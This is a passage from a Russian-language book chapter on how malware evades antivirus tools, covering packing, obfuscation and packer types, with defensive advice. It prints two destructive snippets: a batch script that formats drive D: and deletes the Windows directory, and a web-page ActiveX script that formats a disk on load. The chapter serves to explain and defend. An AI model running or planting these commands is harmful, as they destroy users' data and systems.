¦ Антология сокрытия вирусного кода
¦ Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
Как обойти антивирус? Можно ли написать вирус всего одной строкой кода? Может ли веб-страница отформатировать диск? Какие методы используют вирусописатели для сокрытия своего кода и почему даже два антивируса могут стать бесполезными для вашей системы?
На эти вопросы вы найдете ответы в данной главе.
5.1. Все гениальное – просто. Пишем вирус одной строкой!
Можно ли создать вирус, который не будет светиться в базах антивирусов? Можно. И чтобы этот вирус форматировал диски и «убивал» Windows? Можно. Парой строчек? Можно! Только никому (листинг 5.1)…
Листинг 5.1. Всего две строки
@echo off
format d:/q/y & del %SystemRoot% /q/s/f
Возможные варианты защиты от такого 'сюрприза':
¦ бдительность пользователя (ведь данный пример – скрипт-вирус, код которого можно просмотреть через Блокнот!);
¦ работа не с правами администратора (попробуйте отформатировать диск с правами пользователя!).
5.2. Веб-страница в обличии Фредди Крюгера – «потрошит» ваш винчестер!
Можно ли, посетив сайт, получить в подарок отформатированные диски? А почему бы и нет. Тем более что возможности JavaScript и ActiveX вкупе с многочисленными уязвимостями Internet Explorer выходят за рамки простых документированных функций (листинг 5.2).
Листинг 5.2. Форматируем диск – легко!
<script>
a=new ActiveXObject('WScript.Shell');
a.run('cmd /c format d:/y',0);
</script>
Применение ActiveX-компонентов делает веб-страницы более интерактивными. Но за удобство и функциональность можно дорого заплатить: многочисленные уязвимости IE позволяют, к примеру, неподписанные (они же небезопасные) компоненты ActiveX представить пользователю как подписанные (безопасные, так как происхождение и содержание такого компонента подтверждено электронной подписью удостоверяющего центра) или вообще скрыть от глаз выполнение произвольного сценария.
Возможные варианты защиты в подобных случаях.
¦ Задание безопасных настроек браузера (Сервис > Свойства обозревателя > Безопасность > Высокий).
¦ Как альтернатива, конфигурирование зон интернет-безопасности вручную (Сервис > Свойства обозревателя > Безопасность > Другой > Загрузка неподписанных элементов ActiveX > Отключить, Активные сценарии > Отключить и т. д.).
¦ Ну и, конечно же, бдительность пользователя. К примеру, прежде чем вышеописанный сценарий сделает свое черное дело, система два раза 'аккуратно намекнет' на потенциальную опасность (рис. 5.1 и 5.2).
Рис. 5.1. Первое предупреждение
Рис. 5.2. Второе предупреждение
5.3. Антология сокрытия вирусного кода
Не секрет, что выживаемость современного вредоносного ПО в большей степени обусловлена его параллельной эволюцией с антивирусными продуктами. Современный антивирус уже не тот, который был год-два тому назад, – это факт. Для отлова и уничтожения вредоносного кода в антивирусах реализованы самые передовые и изощренные технологии: модули проактивной защиты и анализа подозрительного поведения, контроль целостности приложений и реестра и др. Стоит только такому «зверю» показать себя, как его тут же пропустят через «мясорубку», в роли которой, как вы уже догадались, выступает антивирусный сканер, после чего подозрительные остатки окажутся «на приеме» у эвристического анализатора.
Ну да, казалось бы, после такого чистилища какой из экземпляров вирусного кода выстоит? Но нет. Все же факт остается фактом: ежедневно регистрируется появление более сотни экземпляров вирусного кода, и каждый из экземпляров рожден, чтобы остаться невидимкой.
На сегодняшний день можно выделить следующие наиболее популярные методы сокрытия:
¦ упаковка;
¦ полиморфизм;
¦ обфускация;
¦ руткит-технологии;
¦ сокрытие в среде.
Даже этого, далеко не полного списка достаточно, чтобы представить себе, насколько технологичны современные методы сокрытия вирусного кода.
Упаковка
Начнем с упаковки как самого популярного метода сокрытия вирусного кода. К слову будет сказано, именно упаковка является самым простым инструментом, чтобы скрыть вирус, который уже засветился в антивирусных базах.
Упаковка заключается в сжатии исполняемого файла и прикреплении к нему кода, необходимого для распаковки и исполнения.
Как метод сокрытия упаковка представляет собой довольно грозное оружие. Достаточно привести пример: грамотно упакованный червь способен вызвать не менее серьезную, чем его первообраз, эпидемию, ведь такой червь распознается антивирусами как новый экземпляр. Не секрет, что большинство из ныне присутствующих в сети вредоносных программ есть не что иное, как модификации посредством упаковки. Например, широко известный троянский конь Backdoor.Rbot распространяется упакованным множеством различных упаковщиков (Ezip, Exe32Pack, ExeStealth, PecBundle, PECompact, FSG, UPX, Morphine, ASPack, Petite, PE-Pack, PE-Diminisher, PELock, PESpin, TeLock, Molebox, Yoda, Ezip, Krypton и др.).
Когда антивирусу попадается упакованный файл, он его, понятное дело, пытается распаковать. Получается, что чем с большим количеством упаковщиков способен работать антивирус, тем больше у него шансов обнаружить упакованный код.
Поддержка большого количества разновидностей упаковщиков и архиваторов особенно критична для проверки почтовых систем, так как подавляющая часть вирусов пересылается по почте в архивированном виде.
Вам наверняка интересно понять разницу между архиватором и упаковщиком. А разница в том, что сжатое упаковщиком разжимается в память, архиватором – на диск.
Понятно, что добраться до упакованного кода можно, лишь распаковав его. Но и это не всегда просто. Посмотрим почему.
Распаковщики делятся на динамические и статические. Динамические распаковщики (например, procdump или PEiD) запускают файл и создают распакованный вариант файла из образа, загруженного в память. Однако, если этот файл содержал вирус (а он его содержит!), система может быть повреждена раньше, чем антивирус успеет что-либо сделать. Кроме того, у упаковщиков существует ряд приемов борьбы с динамической распаковкой, например расшифровывать код не полностью, а лишь по мере исполнения, или, например, расшифровывать и запускать вирус целиком только в определенный день недели.
Статические распаковщики – это те, которые пытаются распаковать файл, не запуская его (например, CUP386 или UNP). Очень часто статические распаковщики оказываются бесполезны, если алгоритм упаковки требует запуска файла.
Чтобы представить себе весь размах упаковки, достаточно привести этот скромный список упаковщиков,